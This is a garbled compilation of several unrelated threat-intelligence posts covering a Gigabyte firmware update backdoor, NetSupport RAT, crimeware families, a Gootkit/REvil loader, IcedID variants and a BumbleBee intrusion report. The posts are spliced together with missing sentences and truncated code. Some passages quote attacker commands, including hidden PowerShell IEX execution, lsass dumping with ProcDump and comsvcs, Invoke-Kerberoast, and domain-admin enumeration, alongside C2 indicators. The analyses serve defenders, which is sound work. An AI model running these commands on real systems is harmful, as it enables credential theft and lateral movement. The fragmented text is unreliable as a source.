We are working with Gigabyte to address this insecure implementation of their app center capability.


In the interest of protecting organizations from malicious actors, we are also publicly disclosing this information and defensive strategies on a more accelerated timeline than a typical vulnerability disclosure.

Supply Chain Risk from Gigabyte App Center Backdoor  Eclypsium  Supply Chain Security for the Modern Enterprise


While our ongoing investigation has not confirmed exploitation by a specific threat actor, an active widespread backdoor that is difficult to remove poses a supply chain risk for organizations with Gigabyte systems.


At a high level, the relevant attack vectors include: Compromise in the supply chain Compromise in the local environment Malware persistence via functionality of this firmware in systems A more detailed analysis of these risks is provided with suggested mitigations below.


After a more traditional vulnerability disclosure timeline, we plan to publish details about how this works.


This executable binary insecurely downloads and executes additional payloads from the Internet.


Look for additional findings on this blog and the Eclypsium Platform for your organization.


Stage 1:


Firmware dropping OS executable An initial analysis of the affected UEFI firmware identified the following file: 8ccbee6f7858ac6b92ce23594c9e2563ebcef59414b5ac13ebebde0c715971b2.bin


This is a Windows Native Binary executable embedded inside of UEFI firmware binary in a UEFI firmware volume with the following GUID: AEB1671D-019C-4B3B-BA-00-35-A2-E6-28-04-36.


During the Driver Execution Environment (DXE) phase of the UEFI firmware boot process, the “WpbtDxe.efi” firmware module uses the above GUID to load the embedded Windows executable file into memory, installing it into a WPBT ACPI table which will later be loaded and executed by the Windows Session Manager Subsystem (smss.exe) upon Windows startup.


The “WpbtDxe.efi” module checks if the “APP Center Download & Install” feature has been enabled in the BIOS/UEFI Setup before installing the executable into the WPBT ACPI table.


Although this setting appears to be disabled by default, it was enabled on the system we examined.


This executable uses the Windows Native API to write the contents of an embedded executable to the file system at the following location:


The mechanism described here is similar to the methods used by other UEFI firmware implants such as LoJax, MosiacRegressor, MoonBounce, and Vector-EDK, referenced previously.


Stage 2: Downloading and running further executables


The dropped Windows executable is a .NET application.


It downloads and runs an executable payload from one of the following locations, depending on how it’s been configured: http://mb.download.gigabyte.com/FileList/Swhttp/LiveUpdate4 https://mb.download.gigabyte.com/FileList/Swhttp/LiveUpdate4 https://software-nas/Swhttp/LiveUpdate4 Plain HTTP (the first bullet above) should never be used for updating privileged code as it is easily compromised via Machine-in-the-middle (MITM) attacks.


However, we noticed that even when using the HTTPS-enabled options, remote server certificate validation is not implemented correctly.


The firmware does not implement any cryptographic digital signature verification or any other validation over the executables.


The dropped executable and the normally-downloaded Gigabyte tools do have a Gigabyte cryptographic signature that satisfies the code signing requirements of Microsoft Windows, but this does little to offset malicious use, especially if exploited using Living-off-the-Land techniques (like in the recent alert regarding Volt Typhoon attackers).


As a result, any threat actor can use this to persistently infect vulnerable systems either via MITM or compromised infrastructure. Risks and Impact These issues expose organizations to a wide range of risks and attack scenarios.


Abuse of an OEM backdoor by threat actors – Previously, threat actors have taken advantage of legitimate but insecure/vulnerable “OEM backdoor” software built into the firmware of PCs.


Most notably, Sednit group (APT28, FancyBear) exploited Computrace LoJack to masquerade as legitimate laptop anti-theft feature.


Compromise of the OEM update infrastructure and supply chain – Gigabyte does have documentation on their website for this feature so it may be legitimate, but we cannot confirm what is happening within Gigabyte.


In August 2021, Gigabyte experienced a breach of critical data by the RansomEXX group and then experienced another breach in October 2021 by the AvosLocker group.


Persistence using UEFI Rootkits and Implants – UEFI rootkits and implants are some of the stealthiest and most powerful forms of malware in existence.


They reside in firmware on motherboards or within EFI system partitions of storage media, and execute before the operating system, allowing them to completely subvert the OS and security controls running in higher layers.


Additionally, since most of the UEFI code exists on the motherboard instead of storage drives, UEFI threats will easily persist even if drives are wiped and the OS is reinstalled.


The rate of discovery of new UEFI rootkits has accelerated sharply in recent years as seen by the discovery of LoJax (2018), MosaicRegressor (2020), FinSpy (2021) ESPecter (2021), MoonBounce (2022), CosmicStrand (2022), and BlackLotus (2023).


Often, the above implants made their native Windows executables look like legitimate update tools.


In the case of MosaicRegressor, the Windows payload was named “IntelUpdater.exe” MITM attacks on firmware and software update features – Additionally, the insecure nature of the update process opens the door to MITM techniques via a compromised router, compromised device on the same network segment, DNS poisoning, or other network manipulation.


It is also important to note that the third connection option, https://software-nas/Swhttp/LiveUpdate4 , is not a fully qualified domain name, but rather, a machine name that would presumably be on the local network.


This means an attacker on a local subnet could trick the implant into connecting to their system, without the need for DNS spoofing.


Even if the backdoor executable is removed, the firmware will simply drop it again the next time the system boots up.


Recommendations We recommend exercising caution when using Gigabyte systems or systems with affected motherboards.


Organizations can also take the following actions to minimize the risk: Scan and monitor systems and firmware updates in order to detect affected Gigabyte systems and the backdoor-like tools embedded in firmware.


Administrators can also block the following URLs: http://mb.download.gigabyte.com/FileList/Swhttp/LiveUpdate4 https://mb.download.gigabyte.com/FileList/Swhttp/LiveUpdate4 https://software-nas/Swhttp/LiveUpdate4 Researchers at Eclypsium Labs are continuing to investigate for any signs of malicious activity related to this discovery.


For more information or assistance contact Eclypsium at [email protected].


A list of affected models is available here.


Researchers at ASEC recently reported on a NetSupport RAT campaign that utilizes Pokemon as the social engineering lure.

Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures


Threat actors staged a malicious website, hosting a Pokemon-based NFT game, offering both a fun and financially rewarding experience.


In reality, those drawn into the site are coerced into downloading the trojanized NetSupport RAT client, allowing attackers full access to their device.


NetSupport Manager, used maliciously or otherwise, provides full and complete control over the target device.


Once the client has been installed, attackers can access, acquire, and manipulate any data on the device (exfiltrate data, execute additional payloads).


In addition, the software allows at least the following: Real-time screen monitoring, optimized for monitoring multiple devices Taking control or redirect user screens Capturing screenshots, audio, video Malicious versions are constantly being sold or rented out via underground crime marketplaces.


NetSupport Manager RAT offered for rental As NetSupport Manager is a legitimate tool that has a long history of development, it is highly attractive to attackers as it can be relied on to work ‘out of the box’.


Additionally, it is thoroughly documented and actively supported: benefits that are less likely with custom-built malware that provides similar functionality such as Andromeda, Nanocore, CirenegRAT, Dark Comet and others.


Malicious use of NetSupport Manager (aka NetSupport RAT) has been observed since at least late 2017.


The use of “legitimate” or COTS (Commercial off the Shelf) tools is highly beneficial to attackers when attempting to achieve the greatest degree of stealth.


Custom-written malware can often be detected by some layer of protection, such as EPP and EDR tools, so it is often advantageous to utilize a legitimate tool, even if it takes some creativity to deliver the remote software client.


On doing so, the victim unknowingly installs the NetSupport RAT, a doctored version of the NetSupport Manager client (client32.exe) that gives the attacker immediate and direct control of the infected device.


While this specific attack was centered around the Pokemon theme, other phishing lures are known to be used.


Some recent NetSupport RAT campaigns utilize .ISO


files as droppers.


This allows the attackers to evade certain types of detection.


This technique has been used by ransomware actors as well such as by both Maze and Ragnar Locker.


When opened, the ISO files will contain either the NetSupport RAT installer (with configs/support files) or a .LNK file redirecting the victim to said installer.


Technical Details A typical example of this kind of .ISO file is the sample CLF_security.iso (288603f501926756c236e368a1fdc7d128f4f9a1).


This particular .ISO contains an embedded .EXE file (CLFSECUR.EXE) which is then utilized to drop and execute the installer for NetSupport RAT.


Sample 4233ff7941da62b86fc2c2d92be0572c9ab534c8 has been observed in multiple ISO files masquerading as legitimate software, including: CodeTwo Exchange Manager PCFresh 2022 SDK Tools Google Chrome Google Crash Handler Steelray Project Setup BrowserRenew.iso CLFsecurity.


ISO Cloudflare_security_setup.iso The RAT installation is disguised to look similar to a Google Chrome installation.


NetSupport RAT installer disguised as Google Chrome setup.


The sample is obfuscated via the Babadeda crypter.


For example: ~\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NetSupport.url In this case, the shortcut links to \AppData\Roaming\Steelray


Project Viewer


In addition, the sample generates a scheduled task with multiple triggers.


NetSupport RAT Persistence via Scheduled Task Install directory of NetSupport RAT The RAT performs a number of discovery operations to understand its host environment.


Additional data is gleaned via WMI queries such as: SELECT *


FROM Win32_ComputerSystem SELECT *


FROM Win32_SystemEnclosure


The malware deploys some anti-analysis measures such as attempting to detect the presence of a debugger via IsDebuggerPresent, and all running processes are enumerated and logged via EnumProcesses (32-bit processes).


For example, Sleep statements may be used to delay execution by hours in order to trick sandboxes used in malware analysis or simply to disguise the association between the infection and the social engineering event from the user.


NetSupport RAT has the ability to drop and execute additional components.


Data files and executables are also written to ~\Program Files (x86) \Google\Temp.


A large number of legitimate Google Chrome support files are also written to this location.


These are used by the malware in order to facilitate the fake Google Chrome installation.


Conclusion NetSupport Manager is a long-standing tool which, like TeamViewer, has unfortunately attracted ample use by cybercriminals.


NetSupport RAT, once installed, is very robust and powerful, and threat actors are able to masquerade the dropper or installer in any way they see fit.


In addition, threat actors using this tool are very quick to update their lures and find ways to entice their victims into installing the malicious remote control software.


Although ransomware is still a hot topic on which we will keep on publishing, we also investigate and publish about other threats.


For questions or more information on our crimeware reporting service, please contact crimewareintel@kaspersky.com.


RapperBot: “intelligent brute forcing” RapperBot, based on Mirai (but with a different C2 command protocol), is a worm infecting IoT devices with the ultimate goal to launch DDoS attacks against non-HTTP targets.


We observed the first sample in June 2022, when it was targeting SSH and not Telnet services.


In Q4 2022, we noticed 112k RapperBot infection attempts coming from over 2k unique IP addresses.


What sets RapperBot apart from other worms is its “intelligent” way of brute forcing: it checks the prompt and, based on the prompt, it selects the appropriate credentials.


This method speeds up the brute forcing process significantly because it doesn’t have to go over a huge list of credentials.


RapperBot then determines the processor architecture and infects the device.


The downloading of the actual malware is done via a variety of possible commands (for example, wget, curl, tftp and ftpget).


Rhadamanthys: malvertising on websites and in search engines Rhadamanthys is a new information stealer first presented on a Russian-speaking cyber criminal forum in September 2022 and offered as a MaaS platform.


According to the author, the malware: Is written in C/C++, while the C2 is written in Golang.


Is able to do a “stealthy” infection.


Is able to steal/gather information on CPU type, screen resolution, supported wallets, and so on.


Evades EDR/AV. Has encrypted communication with the C2.


Online advertising platforms offer advertisers the possibility to bid in order to display brief ads in search engines, such as Google, but also websites, mobile apps and more.


The trick they pull is to display ads representing legitimate applications but in fact containing links to phishing websites.


These phishing websites contain fake installers, luring users into downloading and installing the malware.


While analyzing Rhadamanthys, we noticed a strong connection with Hidden Bee miner.


Both samples use images to hide the payload inside and both have similar shellcodes for bootstrapping.


Additionally, both use “in-memory virtual file systems” and utilize Lua to load plugins and modules. Comparison between Rhandamanthys’s “prepare.bin” and Hidden Bee’s “preload” modules CUEMiner: distribution through BitTorrent and OneDrive In August 2021, a project was started on GitHub called SilentCryptoMiner, hosting the miner consisting of a downloader and the payload, bot source and the compiled builder, as well as additional software, such as a system watcher.


During our investigation, we noticed two methods of spreading the malware.


The first is via trojanized cracked software downloaded via BitTorrent.


The other method is via trojanized cracked software that is downloaded from OneDrive sharing networks.


How victims are lured into downloading these cracked packages is speculation, because we couldn’t find any direct links.


This suggests some form of human interaction and social engineering.


Despite being written in .NET, it is wrapped by a C++ based dropper and it connects to a set of URLs, which is varying from sample to sample, to download the miner and configuration settings.


It also performs several checks in order to ensure it is running on bare metal systems, and not on a virtual machine.


In case all checks are passed, the malware: Reconfigures Windows Defender to exclude the user profile path and the entire system drive from scanning.


Fetches configuration details from a hardcoded URL and saves it at different places (for example, c:\logs.uce, %localappdata%\logs.uce).


Downloads the miner and watcher.


The full list you can find in our private report.


If it doesn’t detect any processes that consume lots of system power (for example, games), the miner software is launched.


This is done in order to stay undetected on the system longer.


Conclusion Open source malware is often used by less skilled cybercriminals.


Nevertheless, they can be still quite active and effective, as is shown by the huge number of CUEMiner samples we detected.


If along their cybercriminal career they gain more skills, such as programming and understanding security better, they often reuse and improve crucial source code parts from open source malware.


Code reuse and rebranding is also used quite often by cybercriminals.


There are many ransomware variants that change names over time while mostly containing the same code base.


For example, Rhadamantys stealer features some code overlaps with the Hidden Bee malware.


To protect yourself against these threats, intelligence reports can help.


If you want to stay up to date on the latest TTPs used by criminals or have questions about our private reports, please contact crimewareintel@kaspersky.com.


On November 23, we received an alert from a partner about a resurgence of Gootkit infections in Germany.

German users targeted with Gootkit banker or REvil ransomware


While analyzing the complex malware loader we made a surprising discovery.


The decision to serve one or the other payload happens after a check with the criminal infrastructure.


Gootkit attacks observed in Germany Security researcher TheAnalyst was the first to publicly identify an active campaign in November using a sophisticated loader that was eventually attributed to Gootkit, a banking Trojan not observed in the wild for some time.


Around the same time, we started receiving reports from some of our partners and their ISPs about Gootkit-related traffic.


We were able to confirm Gootkit detections within our telemetry that were all located in Germany.


The template mimics a forum thread where a user asks in German for help about a specific topic and receives an answer which appears to be exactly what they were looking for.


It’s worth noting that the hacked sites hosting this template are not German (only the template is); they simply happen to be vulnerable and are used as part of the threat actor’s infrastructure.


Figure 2: Compromised site loads decoy template to trick victims This fake forum posting is conditionally and dynamically created if the correct victim browses the compromised website.


A script removes the legitimate webpage content from the DOM and adds its own content (the template showing a link to a file to download).


Figure 3: A view of the HTML code behind the decoy template There is a server-side check prior to each visit to the page to determine if the user has already been served the fake template or not, in which case the webserver will return legitimate content instead.


Fileless execution and module installation


The infection process starts once the victim executes a malicious script inside the zip archive they just downloaded.


Figure 4: Malicious script, heavily obfuscated This script is the first of several stages that leads to the execution of the final payload.


The obfuscation consists of three layers where one decodes content for the next.


The first stage (a version with cleaned formatting available here) decodes the next element: Figure 6: First stage script The decoded output is a comma-separated array of JavaScript blocks: Figure 7: Decoded comma-separated array of scripts There are four elements in the array that are referenced by their indexes.


For example, the element with the index 0 means “constructor”, 1 is another block of JavaScript code, 2 is empty, 3 is a wrapper that causes a call to a supplied code.


Block 1 is responsible for reading/writing registry keys under “HKEY_CURRENT_USER\SOFTWARE\<script-specific name>”.


If it gets a response, it runs it further.


The above downloader script is the first stage of the loading process.


Functionality-wise it is almost identical in all the dropped files.


The differentiation between the variants starts in the next part, which is another JavaScript fetched from the C2 server.


Stage 2 – The second JavaScript (downloaded from the C2)


The expected response from the server is a decimal string, containing a pseudorandom marker used for validation.


The marker consists of “@[request argument]@”.


Figure 9: GET request with C2 server After conversion to ASCII, the next JavaScript is revealed, and the code is executed.


This JavaScript comes with an embedded PE payload which may be either a loader for Gootkit, or for the REvil ransomware.


There are also some differences in the algorithm used to deobfuscate it.


Example for the Gootkit variant (commented, full) Figure 10: The downloaded JavaScript The downloaded code chunk is responsible for installing the persistent elements.


It also runs a Powershell script that reads the storage, decodes it and runs it further.


Stage 3 – The stored payload and the decoding Powershell


The authors diversified the method of encoding and storing the payload.


During our tests we observed two ways of encoding.


In one of them, the PE is stored as a Base64 encoded string, and in the other as a hexadecimal string, obfuscated by having certain numbers substituted by a pattern.


The payload is usually stored as a list of registry keys, yet we also observed a variant in which similar content was written into a TXT file.


Example of the payload stored in a file: Figure 11: Payload as a file on disk The content of the file is an obfuscated Powershell script that runs another Base64 obfuscated layer that finally decodes the .NET payload.


Example of the Powershell script that runs to deobfuscate the file: "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy


Bypass -windowstyle hidden -Command "IEX (([System.IO.File]::ReadAllText('C:\Users\[username]\bkquwxd.txt')).Replace('~',''));" Below we will study two examples of the loader: One that leads to execution of the REvil ransomware, and another that leads to the execution of Gootkit.


Example 1—Loading REvil ransomware


In the analyzed case, the whole flow led to execution of REvil ransomware.


The sandbox analysis presenting this case is available here.


Figure 12: Fragment of the payload stored in the registry, encoded as a hexadecimal string obfuscated with a pattern After writing the keys, the JavaScript deploys a PowerShell command that is responsible for decoding and running the stored content.


Figure 13: The JS component deploys PowerShell with a Base64 encoded script Decoded content of the script: Figure 14: Decoded content It reads the content from the registry keys and deobfuscates it by substituting patterns.


In the given example, the pattern “!@#” in the hexadecimal string was substituted by “1000”, then the PE was decoded and loaded with the help of .NET


Reflection.


The .NET loader comes with a hardcoded string that is the next stage PE: the final malicious payload.


Deploying the payload The loader runs to the next stage with the help of Process Hollowing – one of the classic methods of PE injection.


Figure 17: REvil ransom note Example 2 – Loading Gootkit In an other common variant, the payload is saved as Base64.


Convert]::FromBase64String("[content]")); Invoke-Expression $Command;Start-Sleep -s 22222; Figure 18: Registry key storing payload After decoding the base64-encoded content, we get another PowerShell script: Figure 19:


More PowerShell It comes with yet another Base64-encoded piece that is further decompressed and loaded with the help of Reflection Assembly.


It is the .NET binary, similar to the previous one.


Gootkit loader:(973d0318f9d9aec575db054ac9a99d96ff34121473165b10dfba60552a8beed4)


The script calls a function “Install1” from the .NET module.


This function loads another PE, that is embedded inside as a base64 encoded buffer: Figure 20: Another buffer Figure 21: Deploying the payload This time the loader uses another method of PE injection, manual loading into the parent process.


The revealed payload is a Gootkit first stage binary: 60aef1b657e6c701f88fc1af6f56f93727a8f4af2d1001ddfa23e016258e333f.


The threat actors behind this campaign are using a very clever loader that performs a number of steps to evade detection.


Given that the payload is stored within the registry under a randomly-named key, many security products will not be able to detect and remove it.


However, the biggest surprise here is to see this loader serve REvil ransomware in some instances.


The REvil group has very strict rules for new members who must pass the test and verify as Russian.


One thing we noticed in the REvil sample we collected is that the ransom note still points to decryptor.top instead of decryptor.cc, indicating that this could be an older sample.


Banking Trojans represent a vastly different business model than ransomware.


We’ve seen banking malware (i.e. Emotet) turn into loaders for ransomware where different threat actors can specialize in what they do best.


Time will tell what this return of Gootkit really means and how it might evolve. Detection and protection Malwarebytes prevents, detects and removes Gootkit and REvil via our different protection layers.


As we collect indicators of compromise we are able to block the distribution sites so that users do not download the initial loader.


Our behavior-based anti-exploit layer also blocks the malicious loader without any signatures when the JavaScript is opened via an archiving app such as WinRar or 7-Zip. Figure 22: Blocking on script execution If a system is already infected with Gootkit, Malwarebytes can remediate the infection by cleaning up the registry entries where Gootkit hides: Figure 23: Detection of payload hidden in registry Finally, we also detect and stop the REvil (Sodinokibi) ransomware: Figure 24: REvil ransomware blocked heuristically Indicators of Compromise Compromised websites downloading JavaScript loader: docs.anscommerce[.]comellsweb[.]netentrepasteles[.]supercurro.netm-uhde[.]degames.usc[.]edudoedlinger-erdbau[.]at 3rd stage JavaScript C2s: badminton-dillenburg[.]dealona[.]org[.]cyaperosaintmartin[.]com Variant 1 (Gootkit): NET loader


[973d0318f9d9aec575db054ac9a99d96ff34121473165b10dfba60552a8beed4]Delphi PE


[d0e075a9346acbeca7095df2fc5e7c28909961184078e251f737f09b8ef892b6] – the ransomwarePE stored in resources


[a7e363887e9a7cc7f8de630b12005813cb83d6e3fc3980f735df35dccf5a1341] – a helper component The post German users targeted with Gootkit banker or REvil ransomware appeared first on Malwarebytes Labs.


According to Proofpoint, these new variants have been seen used by three distinct threat actors in seven campaigns since late last year, focusing on further payload delivery, most notably ransomware.

New IcedID variants shift from bank fraud to malware delivery


Proofpoint has identified two new variants of the IcedID loader, namely “Lite” (first seen in November 2022) and “Forked” (first observed in February 2023), both delivering the same IcedID bot with a more narrow-focused feature set.


Removing unneeded functions on IcedID, which has been deployed in numerous malicious campaigns without many code changes since 2017, makes it stealthier and leaner, which can help the threat actors evade detection.


Separate clusters of IcedID activity (Proofpoint) New IcedID campaigns Starting in November 2022, the “Lite” variant of the IcedID loader was delivered as a second-stage payload on systems infected by the newly-returned Emotet malware.


These messages used Microsoft OneNote attachments (.one) to execute a malicious HTA file that, in turn, runs a PowerShell command which fetches IcedID from a remote resource.


At the same time, the victim is served a decoy PDF.


Malicious OneNote attachment used in recent campaign (Proofpoint)


At the end of February, Proofpoint’s researchers observed a low-volume campaign distributing IcedID “Forked” via fake notices from the National Traffic and Motor Vehicle Safety Act and the U.S. Food and Drug Administration (FDA).


It is important to note that while some threat actors use new variants of the IcedID malware, others still choose to deploy the “Standard” variant, with one of the most recent campaigns dating March 10, 2023.


However, “Forked” uses a different file type (COM Server) and features additional domain and string-decryption code, making the payload 12KB larger than the “Standard” version.


Domains decryption (Proofpoint) On the other hand, the “Lite” loader variant is lighter, at 20KB, and does not exfiltrate host info to the C2.


This change makes sense since it was deployed alongside Emotet, which had already profiled the breached system.


The “Forked” version of the IcedID bot is 64KB smaller than the “Standard” bot, and is basically the same malware minus the web injects system, the AiTM (adversary in the middle) functions, and the backconnect capabilities that give threat actors remote access to infected devices.


Standard and Forked bot comparison (Proofpoint) IcedID is generally used for initial access by threat actors, so developing new variants is a worrying sign, signifying a shift towards specializing the bot to payload delivery.


Proofpoint predicts that most threat actors will continue to use the “Standard” variant, but the deployment of new IcedID versions will likely grow, and more variants may pop up later in 2023.


In this intrusion from April 2022, the threat actors used BumbleBee as the initial access vector.

BumbleBee Roasts Its Way to Domain Admin


Read more about BumbleBee here, and here.


During this intrusion, the threat actors gained access using an ISO and LNK file, used several lateral movement techniques, dumped credentials three different ways, kerberoasted a domain admin account and dropped/executed a bespoke tool for discovering privilege escalation paths.


The intrusion began with a password protected zipped ISO file that we assess with medium to high confidence due to other reports, likely arrived via an email which included a link to download said zip file.


When the user double clicks or opens the lnk file, they inadvertently starts a hidden file in the directory, a DLL (namr.dll) containing the Bumblebee malware loader.


From there, the loader reached out to the Bumblebee C2 server.


At first, things remained fairly quiet, just C2 communications; until around 3 hours later, Bumblebee dropped a Cobalt Strike beacon named wab.exe on the beachhead host.


From these injected processes, the threat actors began discovery tasks using Windows utilities like ping and tasklist.


The threat actor then deployed Anydesk, which was the only observed persistence mechanism used during the intrusion.


The threat actor then started Active Directory mapping using Adfind.


Then, the next day, they accessed the server via RDP and deployed a bespoke tool, VulnRecon, designed to identify local privilege escalation paths on a Windows host.


The tool appeared to be still under development as several command options were not yet implemented.


The next check in from the threat actors, occurred on the 4th day, where the threat actors again ran VulnRecon, but from the beachhead host instead of the server.


AdFind was used again as well.


Next, the threat actor transferred Sysinternals tool Procdump over SMB, to the ProgramData folders on multiple hosts in the environment.


They then used remote services to execute Procdump, which was used to dump lsass.


At this point, the actors appeared to be searching for more access then they currently had.


After that activity, the threat actors then disappeared until the 7th day, at which time they accessed the server via Anydesk.


Again, they executed VulnRecon and then also executed Seatbelt, a red team tool for preforming various host based discovery.


On the final day of the intrusion, the 11th day since the initial entry by the threat actor, they appeared to be preparing to act on final objectives.


After injecting into various processes on the host, the threat actors executed the PowerShell script Invoke-Kerberoast.


Next, they used yet another technique to dump LSASS on the beachhead host, this time using a built in Windows tool comsvcs.dll.


AdFind was run for a 3rd time in the network, and then two batch scripts were dropped and run.


Next, the threat actors used a service account to execute a Cobalt Strike beacon remotely on a Domain Controller.


The threat actors were then evicted from the environment before any final actions could be taken.


We assess based on the level of access and discovery activity from the final day the likely final actions would have been a domain wide ransom deployment.


Timeline Analysis and reporting completed by @0xtornado and @MetallicHack Initial Access


The threat actors managed to get access to the beachhead host after the successful execution of a lnk file within an ISO, which are usually distributed through email campaigns.


C:\Windows\System32\cmd.exe /c start rundll32 namr.dll,IternalJob Running Eric Zimmerman’s tool LECmd revealed additional details related to the threat actors.


The graph below shows all the payloads dropped by BumbleBee, the way they were executed, and the different processes they injected into: Sysmon File Created event showing wab.exe created by rundll32.exe Sysmon Event Code 1 showing wab.exe executed by WMI Execution of Cobalt Strike The following PowerShell one-liner was executed from wab.exe during day 11, which downloaded obfuscated PowerShell and executed it in memory: C:\Windows\system32\cmd.exe /C


This payload can be deobfuscated using the following CyberChef recipe: Regular_expression('User defined','[a-zA-Z0-9+/=]{30,}',true,true,false,false,false,false,'List matches') From_Base64('A-Za-z0-9+/=',true) Gunzip() Label('Decode_Shellcode') Regular_expression('User defined','[a-zA-Z0-9+/=]{30,}',true,true,false,false,false,false,'List matches') Conditional_Jump('',false,'',10) From_Base64('A-Za-z0-9+/=',true) XOR({'option':'Decimal','string':'35'},'Standard',false) Once deobfuscated, we can spot the MZRE header, which is part of the default configuration of Cobalt Strike: One of the easiest ways to extract valuable information from this Shellcode is using Didier Stevens 1768.py tool: The command and control server was hosted on (108.62.12[.]174/dofixifa[.]co).


Persistence AnyDesk and its installation as a service was used in order to persist and create a backdoor to the network.


Privilege Escalation GetSystem Threat actors made a mistake by launching the getsystem command in the wrong console (shell console rather than the beacon console).


cbdhsvc , a process where Cobalt Strike was injected into: C:\Windows\system32\cmd.exe /C


getsystem


A detailed write-up of this feature is documented in the official Cobalt Strike blog and was also detailed in our Cobalt Strike, a Defender’s Guide blog post. Valid Accounts Threat actors obtained and abused credentials of privilege domain accounts as a means of gaining privilege escalation on the domain.


A service account, with Domain Administration permissions, was used to create a remote service on a Domain Controller to move laterally.


Almost every post-exploitation job was launched from an injected process.


cbdhsvc to perform various techniques (Enumeration, Credential dumping, etc.):


A yara scan of process memory using the Malpedia Cobalt Strike rule revealed the various injections across hosts as well.


EXE 7476 svchost.exe C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p


-s cbdhsvc 8088 wab.exe C:\Users\USER\AppData\Local\wab.exe 34296


rundll32.exe C:\Windows\system32\rundll32.exe 19284 powershell.exe “c:\windows\syswow64\windowspowershell\v1.0\powershell.exe” -Version 5.1 -s


-NoLogo -NoProfile 7316 svchost.exe C:\Windows\system32\svchost.exe -k UnistackSvcGroup 7288 svchost.exe C:\Windows\system32\svchost.exe -k


UnistackSvcGroup -s


WpnUserService 20400 rundll32.exe C:\Windows\System32\rundll32.exe Indicator Removal on Host: File Deletion


We observed the threat actors deleting their tools (Procdump, Network scanning scripts, etc.) from hosts.


The table below shows an example of ProcDump deletion from the ProgramData folder of all targeted workstations after dumping their LSASS process: Credential Access LSASS Dump MiniDump Threat actors dumped the LSASS process from the beachhead using the comsvcs.dll MiniDump technique via the C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p


The ProcDump utility was executed on those workstations using the following command line: C:\programdata\procdump64.exe -accepteula -ma lsass.exe C:\ProgramData\lsass.dmp Kerberoasting Invoke-Kerberoast command was executed from the beachhead through svchost.exe, a process where the threat actors injected: Here is an extract of PowerShell EventID


800 showing different Invoke-Kerberoast options used by threat actors, including HashCat output format


: IEX (New-Object Net.


Around 3 hours later, the service account logged into one of the Domain Controllers from the beachhead.


We assess with high confidence that the service account password was weak and cracked offline by threat actors.


<REMOTE_IP> Permission Groups Discovery As we have already observed in multiple cases, the threat actors enumerated the local administrators group and domain privileged (Enterprise and DAs) administrators groups mainly using net command: net use net group "Domain computers" /dom net group "Enterprise admins" /domain net group "domain admins" /domain net localgroup administrators nltest /dclist: nltest /domain_trusts ping -n 1 <REMOTE_IP>


shell whoami /all


Network scanning Threat actors used two scripts named s.bat (for servers) and w.bat (for workstations) to ping the hosts and store the results in two log files: s.bat script: @echo off for /f


i in (servers.txt) do for /f "tokens=2 delims=[]"


%%j in ('ping -n 1 -4


"%%i"') do @echo


%%j >> serv.log w.bat script: @echo off for /f


%%i in (workers.txt) do for /f "tokens=2 delims=[]"


j >> work.log Both of those scripts were executed from the PowerShell Cobalt Strike beacon (powershell.exe).


Invoke-ShareFinder Invoke-ShareFinder is a PowerShell module which is part of PowerView. Invoke-ShareFinder – finds (non-standard) shares on hosts in the local domain Threat actors performed share enumeration using Invoke-ShareFinder.


IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:39303/%27); Invoke-ShareFinder -CheckShareAccess -Verbose


| Tee-Object ShareFinder.txt Because rundll32.exe executed PowerShell, we can see that rundll32.exe created the ShareFinder.txt output file in C:\ProgramData\. Seatbelt The tool SeatBelt was used by the threat actors on a server in order to discover potential security misconfigurations.


Seatbelt is a C# project that performs a number of security oriented host-survey “safety checks” relevant from both offensive and defensive security perspectives.


Threat actors performed a full reconnaissance by specifying the flag -group=all: Seatbelt.exe -group=all -outputfile="C:\ProgramData\seatinfo.txt" VulnRecon Threat actors dropped two binaries named vulnrecon.dll and vulnrecon.exe on two hosts.


This is the first time we’ve observed this tool.


vulnrecon.dll PDB: D:\a\_work\1\s\artifacts\obj\win-x64.Release\corehost\cli\apphost\standalone\Release\apphost.pdbvulnrecon.exe PDB: D:\work\rt\VulnRecon\VulnRecon\obj\Release\net5.0\VulnRecon.pdb The table below summarizes the capabilities of the tool:


SMB/Windows Admin Shares Remote Service over RPC Multiple RPC connections were initiated from the rundll32.exe process where wab.exe previously injected into: These RPC connections targeted multiple hosts, including workstations, servers, and DCs.


As we can see with one server, which was targeted, the win32 function CreateServiceA was used by the malware in order to create a remote service over RPC on the server.


Cobalt Strike built-in PsExec Threat actors used the built-in Cobalt Strike jump psexec command to move laterally.


Below is an example of the service edc603a that was created on a Domain Controller:


This process was beaconing to (108.62.12[.]174/dofixifa[.]co), the second Cobalt Strike C2, used during the last day of this intrusion.


JA3: c424870876f1f2ef0dd36e7e569de906JA3s: 61be9ce3d068c08ff99a857f62352f9dCertificate:


[76:28:77:ff:fe:26:5c:e5:c6:7a:65:01:09:63:44:6d:57:b7:45:f2 ]


Not Before: 2022/04/12 06:33:52 UTC Not After: 2023/04/12 06:33:52 UTC Issuer Org: Internet Widgits


[6c:54:cc:ce:ca:da:8b:d3:12:98:13:d5:85:52:81:8a:9d:74:4f:fb ]Not Before: 2022/04/15 00:00:00 UTC Not After: 2023/04/15 23:59:59 UTC Issuer Org: Sectigo Limited Subject Common: fuvataren.com


